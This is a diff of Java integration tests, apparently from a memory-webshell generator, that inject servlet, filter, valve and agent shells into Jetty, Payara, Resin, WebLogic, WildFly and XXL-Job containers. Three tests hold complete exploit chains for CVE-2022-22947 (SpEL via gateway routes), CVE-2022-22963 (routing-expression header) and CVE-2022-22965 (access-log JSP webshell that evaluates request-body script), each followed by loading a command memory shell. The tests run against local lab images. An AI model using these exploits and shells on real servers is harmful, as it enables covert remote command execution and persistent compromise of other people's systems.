import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Jetty51ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.
builder()
.imageName("reajason/jetty:5.1.10-jdk6")
.server(Server.Jetty5)
.pidScript(ContainerTool.jettyPid)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath("/usr/local/jetty/webapps/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.FILTER
))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER
))
.testPackers(List.of(Packers.JSP))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202312ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2023.12",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202412ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2024.12-jdk17",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202511ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2025.11-jdk21",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara7202606ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:7.2026.6",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,58 @@
package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2026/7/4
*/
@Testcontainers
public class Resin2117ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.imageName("reajason/resin:2.1.17-jdk6")
.server(Server.Resin2)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath("/usr/local/resin2/webapps/app.war")
.pidScript(ContainerTool.resinPid)
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER
))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER
))
.enableJspPackerTest(false)
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,129 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.MediaType;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
@Testcontainers
@Slf4j
public class CVE202222947Test {
@Container
public static final GenericContainer<?> cve202222947 =
new GenericContainer<>("vulhub/spring-cloud-gateway:3.1.0")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/")
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22947")
void CVE_2022_22947() {
String url = getUrl();
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.SpELSpringGzip;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.SpringWebFlux,
null,
shellType,
shellTool,
Opcodes.V1_8,
shellToolConfig,
packer);
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectBySpringCloudGateway(url, content);
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private void injectBySpringCloudGateway(String url, String expression) {
String routeId = "memshell" + RandomStringUtils.randomAlphabetic(8);
String routeUrl = url + "/actuator/gateway/routes/" + routeId;
try {
String body = """
{
"id": "%s",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{%s}"
}
}],
"uri": "http://example.com"
}
""".formatted(routeId, expression);
post(routeUrl, body, MediaType.parse("application/json"));
post(url + "/actuator/gateway/refresh", "", null);
} finally {
deleteQuietly(routeUrl);
postQuietly(url + "/actuator/gateway/refresh");
}
}
@SneakyThrows
private static void post(String url, String body, MediaType mediaType) {
Request request = new Request.Builder()
.url(url)
.post(RequestBody.create(body, mediaType))
.build();
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
@SneakyThrows
private static void postQuietly(String url) {
Request request = new Request.Builder()
.url(url)
.post(RequestBody.create("", null))
.build();
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
}
}
@SneakyThrows
private static void deleteQuietly(String url) {
Request request = new Request.Builder()
.url(url)
.delete()
.build();
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
}
}
private static String getUrl() {
String host = cve202222947.getHost();
int port = cve202222947.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.MediaType;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
@Testcontainers
@Slf4j
public class CVE202222963Test {
@Container
public static final GenericContainer<?> cve202222963 =
new GenericContainer<>("vulhub/spring-cloud-function:3.2.2")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/uppercase")
.forStatusCodeMatching(code -> code == 200 || code == 405)
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22963")
void CVE_2022_22963() {
String url = getUrl();
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.SpELSpringGzip;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.SpringWebFlux,
null,
shellType,
shellTool,
Opcodes.V1_8,
shellToolConfig,
packer);
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectBySpringCloudFunction(url, content);
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private void injectBySpringCloudFunction(String url, String expression) {
Request request = new Request.Builder()
.url(url + "/functionRouter")
.header("spring.cloud.function.routing-expression", expression)
.post(RequestBody.create("test", MediaType.parse("text/plain")))
.build();
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
private static String getUrl() {
String host = cve202222963.getHost();
int port = cve202222963.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,165 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
/**
* @author ReaJason
* @since 2026/7/16
*/
@Testcontainers
@Slf4j
public class CVE202222965Test {
private static final OkHttpClient CLIENT = new OkHttpClient();
private static final String JSP_PATTERN = "%{c2}i { " +
"StringBuilder script = new StringBuilder(); " +
"String line; " +
"java.io.BufferedReader reader = request.getReader(); " +
"while ((line = reader.readLine()) != null) { script.append(line).append('\\n'); } " +
"javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); " +
"if (engine == null) { throw new IllegalStateException(\"js engine is null\"); } " +
"Object result = engine.eval(script.toString()); " +
"if (result != null) { out.print(result); } " +
"} %{suffix}i";
@Container
public static final GenericContainer<?> cve202222965 =
new GenericContainer<>("vulhub/spring-webmvc:5.3.17")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/")
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22965")
void CVE_2022_22965() {
String url = getUrl();
String jsEngineJspUrl = writeJsEngineJsp(url);
assertJsEngineJspIsReady(jsEngineJspUrl);
clearAccessLogPattern(url);
String shellType = ShellType.FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.ScriptEngine;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.Tomcat,
null,
shellType,
shellTool,
Opcodes.V11,
shellToolConfig,
packer);
executeScript(jsEngineJspUrl, packer.getInstance().pack(generateResult.toClassPackerConfig()));
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private String writeJsEngineJsp(String url) {
HttpUrl exploitUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", JSP_PATTERN)
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.suffix", ".jsp")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.directory", "webapps/ROOT")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.prefix", "memshellparty")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat", "")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.buffered", "false")
.build();
Request request = new Request.Builder()
.url(exploitUrl)
.header("c2", "<%")
.header("suffix", "%>//")
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
writeJsEngineJspAccessLog(url);
return url + "/memshellparty.jsp";
}
@SneakyThrows
private void writeJsEngineJspAccessLog(String url) {
Request request = new Request.Builder()
.url(url)
.header("c2", "<%")
.header("suffix", "%>//")
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
@SneakyThrows
private void assertJsEngineJspIsReady(String jsEngineJspUrl) {
for (int i = 0; i < 10; i++) {
Request request = new Request.Builder()
.url(jsEngineJspUrl)
.header("c2", "<%")
.header("suffix", "%>//")
.post(RequestBody.create("1 + 1", MediaType.parse("text/plain")))
.build();
try (Response response = CLIENT.newCall(request).execute()) {
if (response.code() == 200 && Objects.requireNonNull(response.body()).string().contains("2")) {
return;
}
}
Thread.sleep(500);
}
}
@SneakyThrows
private void executeScript(String jsEngineJspUrl, String script) {
Request request = new Request.Builder()
.url(jsEngineJspUrl)
.post(RequestBody.create(script, MediaType.parse("text/plain")))
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
assertNotEquals(500, response.code(), response.body().string());
}
}
@SneakyThrows
private void clearAccessLogPattern(String url) {
HttpUrl resetUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", "")
.build();
Request request = new Request.Builder()
.url(resetUrl)
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
private static String getUrl() {
String host = cve202222965.getHost();
int port = cve202222965.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.weblogic;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
@@ -21,6 +22,7 @@ public class WebLogic1036ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
"reajason/weblogic:10.3.6",
"/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
.warFile(ContainerTool.servlet2WarFile)
.targetJdkVersion(Opcodes.V1_6)
.assertLogs(false)
.supportedShellTypes(List.of(
@@ -26,6 +26,7 @@ public class WebLogic12214ContainerTest extends AbstractContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.testPackers(List.of(Packers.Base64))
@@ -26,6 +26,7 @@ public class WebLogic14110ContainerTest extends AbstractContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.testPackers(List.of(Packers.Base64))
@@ -26,6 +26,7 @@ public class WebLogic14120ContainerTest extends AbstractContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.testPackers(List.of(Packers.Base64))
@@ -0,0 +1,56 @@
package com.reajason.javaweb.integration.memshell.weblogic;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/24
*/
@Testcontainers
public class WebLogic15110ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
"reajason/weblogic:15.1.1.0-jdk21",
"/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V21)
.warFile(ContainerTool.warJakartaFile)
.jakarta(true)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.Base64))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly38ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
"quay.io/wildfly/wildfly:38.0.1.Final-jdk21",
"/opt/jboss/wildfly/standalone/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
// Suo5 closes the exchange before WildFly 38's internal request listener is destroyed,
// causing a benign UT015005/UT000139 log after the functional assertion has passed.
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly41ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
"quay.io/wildfly/wildfly:41.0.0.Final-jdk21",
"/opt/jboss/wildfly/standalone/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob202ContainerTest {
public static final String imageName = "xxljob/xxljob202";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,67 @@
